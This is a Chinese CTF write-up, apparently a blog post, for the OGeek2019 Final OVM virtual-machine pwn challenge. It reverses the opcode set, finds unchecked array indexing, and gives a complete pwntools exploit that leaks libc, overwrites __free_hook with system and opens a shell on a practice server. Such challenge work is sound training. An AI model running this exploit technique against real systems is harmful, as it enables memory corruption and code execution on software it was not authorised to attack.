[OGeek2019 Final]OVM(简易虚拟机逃逸)

前言:

对vm pwn这类题型还没怎么了解,找了一道[OGeek2019 Final]OVM,入个门先

前置知识:

先引用一波https://www.anquanke.com/post/id/208450#h2-1

虚拟机保护的题目相比于普通的pwn题逆向量要大许多,需要分析出分析出不同的opcode的功能再从中找出漏洞,实际上,vmpwn的大部分工作量都在逆向中,能分析出虚拟指令集的功能实现,要做出这道题也比较容易了。
1.虚拟机保护技术 所谓虚拟机保护技术,是指将代码翻译为机器和人都无法识别的一串伪代码字节流;在具体执行时再对这些伪代码进行一一翻译解释,逐步还原为原始代码并执行。这段用于翻译伪代码并负责具体执行的子程序就叫作虚拟机VM(好似一个抽象的CPU)。它以一个函数的形式存在,函数的参数就是字节码的内存地址。

2.VStartVM 虚拟机的入口函数,对虚拟机环境进行初始化

3.VMDispather 解释opcode,并选择对应的Handler函数执行,当Handler执行完后会跳回这里,形成一个循环

4.opcode 程序可执行代码转换成的操作码

然后基本上漏洞都是数组越界,解题的话要知道opcode,对指令要逐个逆向解析。

例题:[OGeek2019 Final]OVM

程序分析:

保护就canary没开

程序先要求输入pc,sp,codesize,
请添加图片描述
然后会要求我们输入code命令,循环输入次数是codesize的值请添加图片描述

循环完我们的指令后,会读指令,执行指令,结束后有往bss段的comment里存的堆的地址里读0x8c个字节,最后free掉堆的内存

重点看这个execute这个执行指令的函数
请添加图片描述
从这里可以判断出这个指令的格式

opcode |目的寄存器| 寄存器1 | 寄存器2

后续的代码就是根据opcode来执行指定操作

解析后大致是这样

mov reg, src2		 	0x10 : reg[dest] = src2
mov reg, 0				0x20 : reg[dest] = 0
mov mem, reg            0x30 : reg[dest] = memory[reg[src2]]
mov reg, mem            0x40 : memory[reg[src2]] = reg[dest]
push reg                0x50 : stack[result] = reg[dest]
pop reg                 0x60 : reg[dest] = stack[reg[13]]
add                     0x70 : reg[dest] = reg[src2] + reg[src1]
sub                     0x80 : reg[dest] = reg[src1] - reg[src2]
and                     0x90 : reg[dest] = reg[src2] & reg[src1]
or                      0xA0 : reg[dest] = reg[src2] | reg[src1]
^          	        	0xB0 : reg[dest] = reg[src2] ^ reg[src1]
left                    0xC0 : reg[dest] = reg[src1] << reg[src2]
right                   0xD0 : reg[dest] = reg[src1] >> reg[src2]
                        0xFF : (exit or print) if(reg[13] != 0) print oper

漏洞点:两个数组越界

0x30里的赋值内存操作,memory的index没有任何检测,可以数组越界,
配合0xff的print功能可以造成地址泄露
请添加图片描述
离memory最近的就是stderr,可以填负数然后print泄露stderr(数组越界常规操作了)
请添加图片描述
请添加图片描述
然后0x40 是往地址里写值的操作,也是没有任何检测,可以任意地址写

请添加图片描述
值得注意的是寄存器都是4字节的,要分两次来读写

利用思路:

1.先任意读把stderr的地址,分高低地址读到两个寄存器中
2.gdb调试出freehook于stderr的固定偏移,我们改存stderr低地址的寄存器+固定偏移就是freehook的低地址
3.任意写把bss段comment存的堆地址改写为free_hook地址-8
4.执行print功能泄露地址,算出libc_base,得出system
5.接着的read会往free_hook地址-8读0x8c,我们只要填’/bin/sh\x00’+p64(system),
最后free时就会执行system(’/bin/sh’)
(exp里有寄存器的具体解析,然后指令数还可以短,不过也没必要啦)

exp:

from pwn import * 
local_file  = './pwn'
local_libc  = '/lib/x86_64-linux-gnu/libc.so.6'
remote_libc = './libc-2.23.so'
select = 1
if select == 0:
    r = process(local_file)
    libc = ELF(local_libc)
elif select == 1:
    r = remote('node4.buuoj.cn',25244 )
    libc = ELF(remote_libc)
else:
    r = gdb.debug(local_file)
    libc = ELF(local_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se      = lambda data               :r.send(data) 
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims 			:r.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info    = lambda tag, addr        :r.info(tag + ': {:#x}'.format(addr))
def debug(cmd=''):
     gdb.attach(r,cmd)
#------------------------
def opcode(code, dst, op1, op2):
    res = code<<24
    res += dst<<16
    res += op1<<8
    res += op2
    return str(res)
#---------------------------
'''
mov reg, src2		0x10 : reg[dest] = src2
mov reg, 0		0x20 : reg[dest] = 0
mov mem, reg            0x30 : reg[dest] = memory[reg[src2]]
mov reg, mem            0x40 : memory[reg[src2]] = reg[dest]
push reg                0x50 : stack[result] = reg[dest]
pop reg                 0x60 : reg[dest] = stack[reg[13]]
add                     0x70 : reg[dest] = reg[src2] + reg[src1]
sub                     0x80 : reg[dest] = reg[src1] - reg[src2]
and                     0x90 : reg[dest] = reg[src2] & reg[src1]
or                      0xA0 : reg[dest] = reg[src2] | reg[src1]
^          	        0xB0 : reg[dest] = reg[src2] ^ reg[src1]
left                    0xC0 : reg[dest] = reg[src1] << reg[src2]
right                   0xD0 : reg[dest] = reg[src1] >> reg[src2]
                        0xFF : (exit or print) if(reg[13] != 0) print oper
'''
sla('PCPC: ','0')
sla('SP: ','1')
sla('CODE SIZE: ',str(21))
ru('CODE: ')
#-------leak_stderr----------
sl(opcode(0x10,0,0,26)) #reg[0]=26
sl(opcode(0x80,1,1,0))  #reg[1]=26-reg[0]=-26
sl(opcode(0x30,2,0,1))  #reg[2]=memery[reg[1]]=low stderr
sl(opcode(0x10,0,0,25)) #reg[0]=25
sl(opcode(0x80,1,1,0))  #reg[1]=26-reg[0]=-25
sl(opcode(0x30,3,0,1))  #reg[3]=memery[reg[1]]=high stderr
#gdb: __free_hook-stderr=0x7ffff7dcf8e8-0x7ffff7dce840=0x10a8
#--------get 0x10a8-8---------
sl(opcode(0x10,0,0,1))  #reg[0]=1
sl(opcode(0x10,1,0,12)) #reg[1]=12
sl(opcode(0xc0,4,0,1))  #reg[4]=reg[0]<<reg[1]=1<<12=0x1000
sl(opcode(0x10,5,0,0xa0))#reg[5]=0xa0
sl(opcode(0x70,6,4,5))  #reg[6]=reg[5]+reg[4]=0x10a0
sl(opcode(0x70,4,6,2))  #reg[4]=reg[6]+reg[2]=free_hook-8      now 234 is addr,not change
#--------write_comment=free_hook-8----------------
#(memory-comment)/4=8
sl(opcode(0x10,0,0,8)) #reg[0]=8
sl(opcode(0x10,1,0,0)) #reg[1]=0
sl(opcode(0x80,5,1,0)) #reg[5]=reg[1]-reg[0]=0-8=-8
sl(opcode(0x40,4,0,5)) #memory[reg[5]]=memory[-8]=comment=reg[4]=low free_hook-8
sl(opcode(0x10,0,0,7)) #reg[0]=7
sl(opcode(0x10,1,0,0)) #reg[1]=0
sl(opcode(0x80,5,1,0)) #reg[5]=reg[1]-reg[0]=0-7=-7
sl(opcode(0x40,3,0,5)) #memory[reg[5]]=memory[-7]=comment=reg[3]=high stderr=high free_hook
sl(opcode(0xff,0,0,0))
#----------------------------------------------------
ru('R3: ')
high_addr=int(rc(4),16)
info('high_addr',high_addr)
ru('R4: ')
low_addr=int(rc(8),16)
info('low_addr',low_addr)
free_hook=high_addr*(2**32)+low_addr+8
libc_base=free_hook-libc.sym['__free_hook']
info('libc_base',libc_base)
system=libc_base+libc.sym['system']
sl('/bin/sh\x00'+p64(system))
r.interactive()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值